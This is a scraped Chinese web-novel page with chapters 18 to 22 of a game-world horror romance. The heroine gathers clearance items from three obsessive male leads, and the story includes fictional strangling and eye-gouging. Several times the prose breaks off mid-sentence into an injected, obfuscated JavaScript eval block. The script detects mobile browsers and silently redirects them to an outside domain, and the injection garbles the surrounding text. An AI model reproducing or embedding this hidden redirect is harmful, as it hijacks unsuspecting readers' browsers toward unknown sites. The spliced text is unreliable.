35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那双手毫无章法地在空气中乱抓着,眼看就要摸到季白的袖角,季白却极为恶劣地往后退了退,看着他摸了个空。 闻人瑾脸上的神色肉眼可见的慌了。 他焦躁不安地坐了起来,胸前刚刚包扎过的伤口又渗出点点血迹,看起来愈发可怜了。 “你在对不对,为什么不说话?” “你……后悔了,是不是?” “后悔和我的交易了。” “为什么又不理我?” 他近乎哽咽地问出了最后一个问题,明明胸前的血快要染湿他的衣衫,他却半点也不觉得疼似得,双手到处在空中乱摸,挣扎着就要起来找她。 眼看他要扑个空从床上摔下去,季白伸手握住了他的手,强有力的温度顺着掌心窜进他的心,好似溺水的人终于抓到了他的救命稻草。 他不加思索地就紧紧回握住她的手,唇角扬起一抹浅浅的弧度,他正想要说话,耳边却先传来了季白的声音。 “演够了吗?我的大公子。” 18. 第 18 章 闻人瑾脸上的血色顷刻间全部褪下,他偏过头用蒙着白绸的眼睛看向季白,“演?在你心里我对你的好,都是演的?” “对我的好?”季白摸了摸脖子,脖子上的勒痕在涂过几次药膏后,已渐渐消了,但季白没有忘记她当初刚醒来时,脖子上那令人窒息的痛。 “那我真是要谢谢你了。”季白轻声说。 闻人瑾好似没有听见,又问了一遍。 “你说什么?” 季白握着闻人瑾的手将人拽至身前,扯下他眼睛上的白绸,盯着他空蒙的眼睛说:“装什么?是你把褚师怀引过去的,不是吗?” 银白色的瞳孔宛若一颗阳光下的冰晶,但他的眼神却是空的,只有轻颤的羽睫泄露了他此时的情绪。 “你背叛了我们的交易。”季白一瞬不移地盯着闻人瑾,不错过他脸上任何的表情,“还是说……你要除的人从来都不是羽生,而是……我。” 季白和他的距离很近,她说话时,温热轻柔的吐息尽数落在他的脸上,断断续续的,勾引着他的心,让他不想在意她说了什么,只想将人抱在怀中,紧紧禁锢在自己的身边,让她哪儿也去不了,独享她的气味,她的温度,她所有的一切。 他怎么会想要除了她,他只是想自私地永远留下她,永远永远。 “是我先背叛吗?”闻人瑾说,“你不去见羽生,褚师怀又怎会看见呢?” 闻人瑾贴了上来,额头抵着她的额头,清越的声音低低的,像是蛊惑,像是引诱。 “他很生气吧?” “生气到想要杀了你。” “你看,只有我最爱你,只有我会包容你所有的一切。” 季白头一次觉得闻人瑾比褚师怀还要疯。 如果说褚师怀是那种发起疯来会一刀捅了她的人,那么闻人瑾就是在一边含笑望着,然后等两人都死透后,他会夺下她的尸体带回去,永生永世地守着。 活着的时候不能如愿,那么等人死后放在身边守一辈子,怎么不算是拥有,怎么不算是天长地久。 季白觉得这会是闻人瑾做出的事。 她垂下眼帘望着他空荡荡的腰际,只穿着一件单薄中衣的他,身上并没有戴任何的饰品。 也不知对于他来说,究竟什么东西最重要。 季白抬眸望着他的眼睛,手掌轻柔地抚摸着他的脸颊,指尖偶尔会穿过他柔顺的发丝,他像是一尊不会动的雕塑任由她抚摸爱怜。 “其实你不必做这些事。”季白一改开始的冰冷强势,无比温柔地和他说,“我同你说过,我会一直陪着你。” “羽生三日后就会离开闻人府再也不回来。” “至于褚师怀,他已经是我的过去了。” “他负过我一次,我不会在同一个坑踩两次。” “今日若非是你故意引褚师怀来,我也不会同他虚与委蛇。” “我不知道我们的从前是怎样的,但此时此刻的我确实最喜欢你,我说的承诺,说会同你一直在一起都是真的,我已经是你的妻了,你还担心什么呢?” 闻人瑾勾了勾唇角,好似是被季白的话哄得很开心。 他抬起手按住季白轻抚他脸庞的手,而后又微微侧了侧头,用柔软的唇瓣吻了下她的掌心,温热的,带着酥酥麻麻的痒意伴随着呼吸一起流遍她的全身。 季白微怔了一下,就见闻人瑾放开手坐直了身子,挺拔如松,光洁瘦削的下巴微微扬起,如晶似雪的眼眸空茫茫地望着她,似是睥睨一切的仙人,又似是掌控一切的神。 “你不用拿哄羽生,褚师怀的话来哄我,你想要什么直说就是,我都会给你。” “只是有一点,不要妄图离开我。” “如果你一定要走,也可以试试。” 他弯眉笑了笑,却不会让人觉得温和,反而有种说不出的寒意。 “我能困住你第一次,自然也能困住你第二次。” 闻人瑾话落,用手指勾起垂落在榻边的白绸自顾自地用它重新把眼睛蒙住了。 一直以温和端庄神态示人的闻人瑾总算露出了自己的本来面容。 或许现在的他也不完全是他。 他的话,季白时常不知能信几分,但今日的有一句话或许可以试着信一信。 无论他们是想留下她,还是想杀了她,无论他们有多么的扭曲,但本质还是源于“爱。” 季白甚至觉得他们的情感已经不能用爱来形容了,是一种诡异的,病态的,疯狂的占有欲,控制欲。 但不管是多么扭曲病态的情感,分不开的都还有他们无法拒绝的付出欲。 无论是羽生还是褚师怀,只要让他们相信她爱他们,他们愿意奉上所有的一切,愿意为她做任何事。 闻人瑾也不能例外。 想明白这一点的季白,脸上又浮现出一抹势在必得的笑意。 季白翻身上床跨坐在闻人瑾的身上,闻人瑾只觉腰垮的部位蓦地一沉,当他意识到压在他身上的是什么时,白皙的脸庞立即浮上了两抹红晕,就连呼吸都变沉了。 刚刚还睥睨强势的姿态,一瞬间就被季白压得分毫不剩。 “是不是只要我留在你身边,我要什么你都给?”季白俯下身子,趴在他耳边轻声问。 不知是故意还是无意,她说话时,唇瓣若有若无地扫过他的耳垂。 这种不确定的感觉最是抓人,他放在腰侧的手蓦地攥紧了锦被,手背上青筋暴起,耳垂也在她的注视下一寸寸地红了。 但他还在强装着镇定。 “你想要什么?” “我要的东西取决于你。” 季白伏在他的胸前,在一片好闻的雪松味中,还有一股不容忽视的血腥味,但她并不觉得恶心,反而和他身上特有的味道混合在一起时,有种令人沉醉的甜腻味,像是催情的香。 闻人瑾的脸上有一瞬间的不解。 “取决于我?” 他眼覆白绸,白衣染血,乌黑的青丝铺满了小榻,被她压在身下时,那一瞬间的迷茫让人忍不住想要怜惜他,也想要摧毁他。 季白咬了咬舌尖,暗想,自己可不能再被美色所惑。 他们看着是好看,可都是要人命的东西。 “对啊。”季白说,“我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958860|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一件对于夫君来说最重要,最珍贵的东西。” 季白一开始想的太复杂了,还想着和闻人瑾互相交换信物。 那多麻烦,还不如直接要。 反正他们又不知道这东西会成为她离开这儿的钥匙,只会当做是送给她的一个普通礼物。 闻人瑾和她可是比情人还要紧密的夫妻关系,她问自己的夫君要件礼物很正常吧? 闻人瑾半晌无言,被白绸覆着的眼睛让人看不清他在想什么。 季白扯了扯他的袖角,问:“夫君不会舍不得吧?” 她见闻人瑾没有说话,轻哼一声,甩开他的袖子,坐了起来。 “嘴上说着最爱我,实际上却连一个死物都舍不得。” 季白话落就欲起身下床,嘴里还不满地嘟囔着:“一点诚意都没有,我还是去找怀……” 她的话还没说完,一双略凉的手就强势地搂上了她的腰,将她又按了回去。 “我给。” 按住她后腰的手顺着脊骨缓缓向上,随后猛地一用力,将人按进了自己的怀里,强有力的撞击让他忍不住发出一身闷哼,胸口的血迹又渗了不少出来。 可他却还是搂着她不放。 “别去找别人。” “我给。” 季白望着他胸前汩汩流血的伤,脑海中忍不住冒出一个莫名其妙的想法,如果游戏中的人一直流血,也会死吗? 她抿了抿唇,移开视线,强迫自己不去投入更多的感情。 “现在给我吗?” 他的下巴轻蹭着她的发顶,说话时胸腔带来的震颤也悉数传到了她的身上,好像他们在某一个维度,达成了微妙的共鸣。 他的声音有点哑。 “陪我睡一会,睡醒了,我就给你。” “只是睡一会?”季白顺口问了一句。 闻人瑾轻轻的笑了。 “我身上有伤不能剧烈运动,也只能睡一会。” 染上了她的体温的指尖在她的背后如同一条蛇一般轻缓地游走着,每经过一个地方都激起一阵哗然与震颤,声音配合着指尖一同行动,惹得季白脸红心跳。 “如果娘子想做点别的,就得辛苦娘子自己动了。” 明明是那样露骨的话,可他又说的那样正经,仿佛是在认真研讨着一件事的可行性。 哪怕是季白这样不怕羞的人,也觉得脸热。 她抓起身旁的锦被一裹,含糊不清地说:“就睡一会吧,刚好我也困了。” 在一片黑暗中,耳边是他清浅的笑声。 等季白再次苏醒时,天已经彻底黑了。 闻人瑾不知所踪,但床边却留下了一物。 季白拾起一看发现是一块玉佩,春桃服身道:“夫人,这是大公子留给您的,说这是他最重要的东西。” 季白握着玉佩,心中喜不自胜,任务终于全部完成了。 现在就差带着道具去指定地点交差了! 【系统,我道具都齐了,提交道具的指定地点在哪?】 【你还有一项任务未完成。】 【你是被谁所杀?】 19. 第 19 章 系统这句话问得太过诡异,胆寒。 明明死的是原主,可它的措辞却是……你。 季白瞬时有一种自己死了,但自己不知道的毛骨悚然。 她稳了稳心神,在脑海中回答了一个名字。 【闻人瑾。】 系统沉默不语。 季白追问。 【我答对了吗?】 【你如何确定是他?】 季白轻笑一声,颇为自得地把玉佩揣进怀里。 【看来是对了。】 她环顾一圈,天已经完全黑下去了。 如果她没记错的话,上一次天黑没有男主在侧时,有铺天盖地向她袭来的怪物们,怎么这次一个也没有了? 季白看向春桃离去的背影,就连春桃也没有受到天黑的影响而变成怪物。 可她总还留着上一次的阴影,生怕春桃转过头来会是一张恐怖的鬼脸。 系统似乎是看出她的疑虑,主动为她解释道。 【这儿是闻人瑾的地盘,它们不敢侵扰。】 季白没有接话,系统率先按捺不住,又一次询问。 【你如何确定是闻人瑾?】 季白重新躺了回去,翘着脚在脑海里和系统闲聊。 【很简单啊。】 【在我没有接到任务之前,我是怀疑过是不是闻人夫人对原主不满而怒下杀手,但你的出现让我彻底否决了我先前的想法。】 【这个世界既然是一个安排好的游戏世界,那么凶手这么重要的戏份怎么会落到小角色的头上?】 【我的范围就瞬间缩小到了三位男主的身上。】 系统似乎有点难以理解和不可置信。 【你就这么草率的确定了?】 季白眯着眼睛笑,活像一只赌对了的小狐狸。 【我承认我有赌的成分,但我赌对了,不是吗?】 系统默了一会又问。 【那褚师怀呢?他第一次见你就想杀你,你为何不怀疑他?】 【从我第三次见褚师怀的时候,我就确定不是他了,首先,他第一次看见我时的眼神没有任何不对劲,如果凶手亲手杀死了一个人,看见那人又活了,再有城府的人也会露出破绽,可褚师怀没有,他只是单纯的因为我不理他而发疯,其次呢,原主临死的前一天还见过褚师怀,褚师怀那儿还留有原主的衣物,但那一天原主见过褚师怀后,原主当天又平安的回去了。如果褚师怀是凶手,不可能这么明显地把重要的物证一直留在自己的房间。】 季白在脑海中解释完这番话后,又主动解释了没有怀疑羽生而确定闻人瑾的原因。 【至于羽生,他的口供与春桃和闻人瑾的都对不上,这确实惹人怀疑。他们之间定有人说谎,我也曾怀疑过是不是羽生在那一晚对原主下了手,可我又很快反应过来,这里是闻人瑾的院子。】 【春桃服侍的人看似是我,可她的主人从来都只有闻人瑾一个。】 春桃一直是闻人瑾的眼线,她的话不可信。 季白自从进入这个世界,就一直活在闻人瑾为她编制的谎言中。 什么打骂,吵架,全是子虚乌有的事,都是闻人瑾编出来博取她同情的手段。 那身伤估摸着也是他自己所为。 作案时间,作案动机,闻人瑾都具备。 还有她第一次清醒时,闻人瑾那一闪而过的反常。 除了他再不会有别人了。 【呵。】 系统似是在她的脑海中冷嗤了一声。 【我还以为你只会骗人。】 季白扬了扬眉头,不满地说。 【喂,你到底是不是我的系统?】 【我感觉你对我很有意见啊,我哪得罪你了?】 【作为你的宿主,我的任务完成得这么快,难道不该有点奖励吗?】 系统又沉默了下去,就在季白以为系统不会再说话的时候,脑海中突然又传来他生冷的电子音。 【我是系统,没有属于人类的情感。】 季白听了这话,却不太相信。 她明明有好几次都察觉到了系统明显异常的情绪。 【宿主完成任务后,会有通关奖励。】 季白摸了摸指尖,按下心中的怪异,重点又回到了当下最重要的事上。 【我说了这么多,现在是不是应告诉我该去哪里提交道具了?】 【闻人府的祠堂。】 【特别提醒,副本内鬼怪夜行,建议宿主白日前往。】 季白闻言闭目养神,只待明日天亮,她就可以离开这个诡异的世界了。 半梦半醒间,季白感受到有人在她的身边躺下,再后来,她仿佛是误入了漫天雾气的丛林,微凉的藤蔓顺着她的脚踝攀沿而上,随后越来越多的藤蔓包裹着她,让她不得呼吸,又拉扯着她坠入了沼泽,再也不见天日。 次日清晨,季白一睁眼映入眼帘的就是闻人瑾那张俊美无暇的脸。 她有一瞬间的失神,待回过神后看了眼窗外蒙蒙亮的天,抬手摸了摸还在身上的玉佩,就准备起身下床。 她怕吵醒闻人瑾,小心翼翼地越过他,刚坐在床边穿上鞋,就感觉有人拽了拽她的衣摆,她回头一瞧,只见闻人瑾侧过头看着她。 “你要去哪?” 他问得轻描淡写,可锦被下的手却紧紧攥在了一起。 季白回眸一笑,答得格外自然。 “我去外面走一走。” 季白说完,在他额上落下一吻,又无比自然地出了门,好像真的只是随便出去走走。 待季白走后,闻人瑾也起身下床,下人们伺候着他更衣洗漱,做好一切的他,抬脚就往内室走去,内室里放着一整墙的衣柜,里面装的都是季白的东西。 春桃站在敞开的衣柜边,见闻人瑾来了,低头行了一礼,而后小声说:“大公子,少夫人不准我跟着。” 闻人瑾摸了摸手上的翡翠戒指,问:“娘子从褚师怀那儿得的弓还在吗?” 春桃摇摇头,“不在了。” 闻人瑾摩挲着戒指的手蓦地一顿,神色冷肃。 “我给娘子的玉佩呢?” “我四处找过,也不见它的踪迹。”春桃为讨好闻人瑾,又补充了一句,“想来少夫人是在意大公子,因而大公子给的东西都贴身放着。” 若是平日,闻人瑾听他们说季白在意他,神色定会变得柔和,可今日却不知是怎么了,闻人瑾的神色反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季白扶着木质的扶手一步一步地往下走,恍惚间有一种往地狱深处走的感觉,围着她的牌位和火烛如同鬼魅般在阴暗处窥伺着她。 这里很静,每走一步都能清楚得听见她的脚步声在回荡,让她时常有一种有人就跟在她身后的感觉,可她回头看去,除了黑漆漆的牌位和烛火外,又什么都没有。 她强压下心中的恐惧,竭力克制着想要拔腿跑的冲动,终于抵达了系统指定的地点。 季白把三样道具一股脑地放在了正中间的位置,无比期待地在脑海中问系统。 【我可以离开了吗?】 然而下一秒,她的脑海中传来一阵阵刺耳的鸣叫,那声音仿佛是要撕裂她的大脑一般,疼得她天旋地转,迷迷糊糊间,她好像看见围着她的墙壁活了过来,那些牌位和烛火真的化为了一张巨网张牙舞爪地朝她扑咬了过来。 在疼痛与虚妄中,她听见了一句让人绝望的话。 【滴滴,任务失败,滴滴,通关道具错误。】 20-30 21 第21章 脖子上的白绸蓦地收紧,勒得季白喘不过气。 她拼了命的挣扎,用脚去踹,用手去抓,可他如山般的身躯却死死得压制住她,让她不得逃脱。 空气越发稀薄,强烈的窒息感让她的意识逐渐模糊,任凭她如何去抓脖子上的那根白绸都无济于事,紧勒着她的白绸仿佛嵌入了她的血肉一般,与她的肌肤融为一体。 她要死了吗? 世界在她的眼前颠倒扭曲,随后又染上一层血色。 闻人瑾嘴角含笑地望着身下濒死的季白,仿佛他不是在杀人,而是在做一件令人愉悦,幸福的好事。 雪白的面容变得青紫,黑白分明的水瞳染上血色,青筋如蜘蛛丝一般在她的脸上显现。 这并不好看,但没关系。 很快的,很快她又会变成鲜活的她,就像那天晚上一样。 季白在意识将要消散时,脑海中突然传来系统急迫的声音。 【眼睛,他的眼睛是弱点。】 季白听了这话,只觉体内蓦地生起一股无穷的力量。 她不再用手去抓脖子上的绸缎,而是抬手就奔闻人瑾的眼睛去。 她的动作太快,闻人瑾一时躲闪不急,被她的手抓了个正着。 季白只觉自己的手指似乎是摸上了一个光滑又富有弹性的球形物体,她来不及多想,一个用力将那东西挖了出来,只听得闻人瑾惨叫一声,松开勒着她脖子的手痛苦扭曲地捂住自己的眼睛,艳红刺眼的血顺着雪白的指缝泄了出来,红与白的交错形成了强烈的对比,刺激着人的视觉。 季白粗喘着从地上爬了起来,就见闻人瑾松开捂住眼睛的手露出那双空洞赤红的眼睛,他执拗疯狂地伸出染血的手去抓她的衣摆。 季白慌忙退了一步,衣角从他的指尖擦过,留下一道带血的指印。 错过猎物的失败让闻人瑾越发癫狂了。 “别走……” 他嘶吼着向前,另一只手还不忘紧握着染红的白绸,似乎还不肯放弃勒死她的想法。 刚刚濒死的痛苦季白不想再经历第二次,她慌忙躲避间顺手抄起身旁的牌位重重砸在了闻人瑾的头上,闻人瑾的身体晃了晃,却并没有倒下,季白又连砸了两三下。 在一片火光中她闻到了浓烈的血腥味,溅起的血点如同碎雪般落在她的脸上,身上,又冷又疼。 闻人瑾的身体终是不堪重负,“哐当”一声摔倒在地,月白的锦衣如花一般在冰冷的地面绽放,他空无一物的眼眶对着季白的方向,似乎就连死都不肯放过她。 季白扔下手里沉甸甸的牌位,靠在栏杆上大口喘着气,手抖得不成样子。 闻人瑾死了吗? 她不确定。 系统沉默着看完了这场生死的决斗。 在死一般的寂静中它又一次开口。 【请宿主尽快找到正确的通关道具。】 她的时间不多了,只有两天。 祠堂外还有两个和闻人瑾一样疯魔的男主在虎视眈眈。 闻人府里有那么多的东西,到底哪一样是正确的通关道具? 季白想想就觉得头痛,再也没了刚来时的轻松愉悦。 这简直是史诗级的难度。 季白离开前最后看了一眼倒在地上的闻人瑾。 他似乎是真的死了,毫无声息地倒在地上,面色苍白得和纸一样,那条白绸如同蛇一般缠绕着他的右手。 季白收回目光,抬脚就往上跑,自闻人瑾不动后,祠堂里的烛火也恢复如常,一切仿佛又回到了她刚进来时的模样。 但这地方实在太邪气,哪怕是在白日,季白都能感觉到似乎有无数的怪物就躲藏在墙壁里窥伺着她。 那扇漆黑的门已经近在咫尺,季白刚把手搭在门上,只觉脚腕一凉,那凉气渗入骨髓,冻得她牙关打颤。 她回眸一瞧,就见闻人瑾仰着一张白到发青的脸注视着她,空洞的眼眶下是两行刺眼的血迹,他咧嘴一笑,活生生得像是鬼片里的怨鬼爬出来了。 “为什么要走,我对你还不好吗?” 他的身后是深不见底,无限延长的长阶,两侧的烛火明明灭灭,映衬着他苍白的脸。 他实在俊美,哪怕是这样一幅不人不鬼的样子,也有一种诡谲阴森的美感。 他朝她举起另一只缠着白绸的手,似是幽冥地狱在朝她招手。 季白只听自己的心在狂跳,她拼命狂甩自己的腿,试图摆脱他抓着她脚腕的手。 可这双冰冷的手却如同藤蔓紧紧缠绕着大树般紧握着她不放。 突然,闻人瑾蓦地发力,扯着她的脚腕将她向下拉,仿佛要拽着她一起坠入无间地狱。 季白一个不稳摔倒在地,可神奇的是她并不觉得疼,仿佛是摔在了柔软的血肉之上。 她还没反应过来,就已经被闻人瑾拖了下去,紧接着一具冰冷的身体贴了上来,近距离看着闻人瑾这张苍白又俊美的面容,季白有种被鬼缠上的惊惧感。 这双被季白亲手挖去眼珠的眼睛此刻正空洞洞地对着她,像是两个会摄取灵魂的小型黑洞。 “你一点也不乖,我都容忍你朝三暮四了,你却还要离开我。” 他苍冷的手指从额头滑至她的脖颈,缠在虎口处的白绸落在她的胸前,仿佛活物一般轻晃着,带起星星点点的酥麻感,很快她的身体也变得酥软无力,就连动动手指都做不到了。 季白咽了咽口水,想要开口求饶,可说出口的声音却小得连自己都听不见。 她在脑海中疯狂质问系统。 【我这是怎么了?】 【我为什么动不了了?】 然而系统和死了一样,没有回应她半个字。 季白脑海中浮现起一个不好的念头,该不会是闻人瑾切断了她和系统的联系吧? 他还有这个能力吗? 季白眼睁睁地看着白绸又一次缠上了她的脖颈,好似画面闪回一般,闻人瑾又一次对她温柔地说。 “不疼,很快的,很快我们就能永远在一起了。” 眼睁睁看着自己的生命走向末路,可自己却什么也做不了的无助感足以压垮任何一个人。 在这一刻,季白脑海中只有一个想法——她不想死。 突然,头顶的门外似乎传来轻微的响动声,闻人瑾比她还要敏锐,抱着她就闪身躲到了楼梯下的角落里。 这里正好是一个视觉盲区,上面的人看不见他们,可他们却能通过一个小小的缝隙看见上面的人。 门“咯吱”一声被人推开,季白察觉到闻人瑾搂着她腰的手蓦地一紧,紧接着是轻而快的脚步声,那人似乎是在寻找着什么。 闻人瑾抱着她往角落躲,几乎快要和周围的墙壁融为一体了。 会是谁呢? 季白好奇的不得了。 可她连抬头的力气都没有,只能无力地转动着眼珠,余光里有一抹一闪而过的青灰色。 闻人瑾贴着她的耳边低语:“呵,很想去找他?” “可在这里,谁也找不到你我。” 季白隐约觉得闻人瑾之所以会这么说,是因为这里是闻人府的祠堂。 “你注定属于我。” 这句话如同一个诅咒,烙在她的灵魂深处。 季白张了张嘴想要说话,可还是同先前一样说不出一个字。 她只能攥紧了闻人瑾胸前的衣襟,表达她的情绪,闻人瑾敏锐的察觉到她示好的靠近,嘴角略微顿了顿,最后不知是做了什么,季白感觉自己好像是恢复了一点力气。 闻人瑾靠在她的耳边,低语:“你想说什么?” 闻人瑾以为季白或是求饶,或是咒骂,却没想到她只是在他耳边低声说了一句。 “我没有想去找他。” 柔软的声音带着女子的俏丽又带着几分委屈。 “我选择的人一直是你。” “你为什么想要杀我呢?” 短短的三句话如同一道重锤砸在他的心上。 他明明知道她惯会花言巧语,明明知道她对他从来都没有爱,明明知道他就算死在她眼前,她也不会多看他一眼,可还是会为她的话动容。 骤然停下的脚步声惊醒了他,闻人瑾谨慎地抬头看去,放在季白腰际的手也紧了紧。 季白顺着他的目光看了过去,来者是本应被锁的羽生。 他的目光直直地看了过来,按理说,他应该一眼就能看见他们,可他仿佛没有看见一样。 但他显然也发现了异常,缓步朝他们的方向走了过来。 两具身体紧贴在一起,季白隔着衣料都能感受到他骤然加快的心跳声,闻人瑾是在紧张吗? 他怕被羽生发现? 步步紧逼的羽生没有了在她面前的柔弱与纯澈,那张秀美清俊的脸庞上满是冷漠。 不过哪怕是这样的他,也远比随时会杀她的闻人瑾要正常多了。 她能感觉到自己已经恢复了些许力气,如果这时她大叫一声,定能吸引羽生过来救下她。 闻人瑾低头凝望着怀里的人,脸上是一闪而过的挣扎,后又变得狠决。 他右手的指腹勾缠着从季白项间垂下的白绸,一圈一圈地打着转,像是漫不经心的玩耍,可只有他自己知道,他心里在酝酿着怎样可怕的想法。 只要季白喊一声,有一个想要离开他,奔羽生而去的举动,他就会毫不留情地用白绸绞下她的头颅。 就算是死,她也只能死在他的怀里。 22 第22章 季白在转瞬之间就做了决定。 她抱紧了闻人瑾冰冷的身子,似乎要把整个人都埋进他的胸膛里,寻求他的庇护。 由于她贴得太紧太紧,闻人瑾可以清晰得感受到她刻意放缓的呼吸,随着羽生的脚步越来越近,她非但没有叫喊着求救,反而屏住了呼吸一动也不敢动,似乎生怕被羽生发现一样。 闻人瑾单手搂着她的腰,只觉缠在自己指尖的白绸变得无比滚烫。 他蓦地松开了控制她生死的白绸,手掌绕过脖颈按在她的脑后,他加大了手上的力度,让她的脸颊离自己的心脏再近一点。 不同于他冰冷的不似活人的肌肤,他的心脏强有力地在她耳边跳动着,似乎是他那压抑不住的澎湃爱意都化为了一声擂鼓般的跳动。 季白攥紧了他胸前的衣襟,暗想,他应该是歇了杀她的心思吧? 除非他是打算用手把她活活勒死在他的怀里。 她很想回头看一眼羽生的情况,但又生怕自己一动会激怒闻人瑾。 只得老老实实地靠在他的怀里,不知听了他多久的心跳,外面忽然又有动静。 羽生停下向前的脚步,谨慎地回头看去,只见那扇漆黑的门再一次被人推开,露出一抹绮丽张扬的身影,血红的衣袍如火一般照亮了整座祠堂。 他显然是一路急跑而来,满脸焦色,一头是汗,腰间还挎着一把宝剑。 羽生见是褚师怀来了,顿时就没了好脸色。 那张本就漠然的脸,眼下可以用阴狠两个字形容了,像是见到了不共戴天的仇人一般。 羽生没有忘记那一天他亲耳听见季白对褚师怀说,他是他的代替,她会跟他离开,她爱的人从来都只有褚师怀一个人。 羽生恨的人从来都不是闻人瑾,哪怕他几次三番为难他,想要赶走他,杀了他,他也并不放在心上。 他知道季白从来都不喜欢他,看不上他,甚至是厌恨他。 可褚师怀不一样。 他曾和她真真切切的相爱过,哪怕他曾抛弃过夫人一次,夫人还是忘不了他。 羽生眼中的狠厉几乎快要化为杀人的利刃,他是夫人唯一真心爱过的人,教他如何不恨? 褚师怀也一眼就看见了羽生。 他亦想起了那天在门外听见的动静,一个卑贱的仆人,也敢觊觎他的人! 他一想到小白在他看不见的地方和他还有过更亲密的行为,就恨不能一剑杀了他。 这对互相看不顺眼的情敌一见面就分外眼红,都恨不能杀之而后快。 褚师怀性子急,他率先冷着脸质问:“你怎么在这?” “小白呢?”褚师怀唰地一下抽出佩剑,剑锋直指羽生,“是不是让你藏起来了?快把小白交出来!不然,我今日定要你的命!” 羽生冷冷地看了他一眼,完全不把他当一回事。 哪怕那锋利的剑尖距离他的眼睛不过一寸,他也仍是面不改色,眉头都没皱一下。 羽生用手指拂开他的剑,眼神狠厉,“滚开!” 季白心中咯噔一下,羽生私下里都这么刚的吗?! 她惊得合不拢嘴,有一种自家听话又胆小的柔弱弟弟竟然一直在外当杀人不眨眼的黑老大的感觉。 她还以为羽生上一次在堂前质问闻人瑾是受了刺激,一时发疯。 没想到,那不是他发疯,只是他的常态而已。 甚至……上一次对闻人瑾的质问还收敛了。 季白看不见羽生的神情,但只从这两个滚开就听得出来羽生此刻杀意满满,他是真的想杀了褚师怀。 他对关他,打他的闻人瑾都没有这么强烈的恨意。 “好啊,你一个贱仆,竟恃宠生娇到如此地步!你不要以为小白喜欢你,我就不敢杀你!” “在我面前,你什么都不是。” 羽生听褚师怀提起季白,眼中的恨与妒又盛几分。 “这句话原封不动的还给你。”他冷笑着说,“褚师公子,这里只有我们两个人,我就算杀了你也没有第二个人知道。” 季白听着羽生阴狠又狂妄的话,实在无法把他和她印象里娇弱卑微的羽生联系在一起。 她虽然早就知道羽生不简单,但远没有亲耳听见的震撼。 这真的是一个人吗? 季白想起当初在花房时羽生被其他仆从欺负的可怜样子,现在想来都是装的吧…… “那就试试!” 褚师怀话落,季白就听见一阵激烈的打斗声,刀刃相撞时的音浪刺耳到仿佛要震聋她的耳朵。 这座祠堂都快被他们掀开了。 就在季白快要承受不住的时候,一双微凉的手突然捂住了她的耳朵,冰冷的温度激得她颤栗了下,随后她就发现那些刺耳的声音都被隔绝在外了。 季白悄悄抬头看了闻人瑾一眼,他并没有看她,那双黑洞洞的眼睛正注视着互相打斗的二人。 她又悄悄低下头,想了半晌,又抬手捂住了闻人瑾的手。 她的手比闻人瑾的小很多,哪怕尽全力捂住,他的手也还有一大半露在外面。 她听见闻人瑾的心漏跳了一拍,而后就见他微微低下头在她耳边问:“做什么?” 那两人打得正欢,无暇顾忌角落里的他们。 季白轻声回他,“你的手太冰,我帮你暖暖。” 闻人瑾似是没有想到得到的会是这个回答,他捂着她耳朵的手指蜷了蜷,一句话也不说了。 季白依稀听见刀剑没入血肉的声音,鼻尖似乎还传来淡淡的血腥味,她的心蓦地跳了一下,是谁受伤了? 就如同她能感受到闻人瑾的心跳,闻人瑾也能察觉到她心跳的频率。 “担心他们?”闻人瑾低哑的声音在她耳边响起。 季白直觉这是一个危险的问题,没有回答,只是把他抱得更紧了一点。 在武力方面,外面的两人或许不分胜负,但在智力方面,闻人瑾绝对甩他们两人一大截。 季白其实一直怀疑出错的任务道具,是闻人瑾给她的玉佩。 除了他之外,羽生和褚师怀都不像是会做出这种事的人。 可她今天又亲眼看见了羽生不同寻常的另一面,会不会他给的道具也是假的? 她想问问系统能不能查出有几个道具出了问题,可她在脑海中喊了半天,系统也没见出声。 季白默默在心中叹了口气,她这系统可真够没用的。 算了,不管是为了保命还是为了通关道具,她都需要暂时留在闻人瑾身边,稳定他的情绪。 对于闻人瑾来说最重要的道具会是什么呢? 季白正想的入神,却听褚师怀又厉声喝问了一句:“有种和我去外面拼个你死我活!” 紧接着,两人的打斗声就越来越远,似乎是出去了。 闻人瑾动了动手指,祠堂的门又重新合上了。 他摸着季白的脖子在她耳边低语:“你不是一直想跑吗?刚刚为什么不叫他们救你呢。” “我说过了,我选择的人一直是你。” 不知这句话哪没答对,闻人瑾忽然拽住了她脖子上的白绸用力一勒,“你还在骗我!” 季白被他勒得喘不过气,但还不忘断断续续地解释。 “我……我没骗你。” “那你说……我……我为什么刚刚不喊呢?” “刚刚羽生离我那么近,只要我一喊,他一定能发现我们。” 闻人瑾想起了季白刚刚下意识的屏住呼吸和抱紧他,勒她脖子的手松了松,似乎是相信了她的话。 但季白仍不敢掉以轻心,还想再说几句好话,却被闻人瑾用白绸捂住了嘴,而后强拽着她往祠堂深处去。 这白绸还真是一条多用,又能蒙眼又能勒人,还能堵住她的嘴。 如果闻人瑾等会要用白绸捆她,她都不觉得奇怪了。 她脑中忽而灵光一闪,激动得两眼发亮。 闻人瑾最重要的东西不会就是他的这根白绸吧? 这东西怎么看都不像是凡物。 那三样道具还被她藏在了祠堂,如果白绸真的是正确的通关道具,她只需要想办法把它从闻人瑾手上偷出来,再放回提交地点,她就可以离开这个鬼地方了。 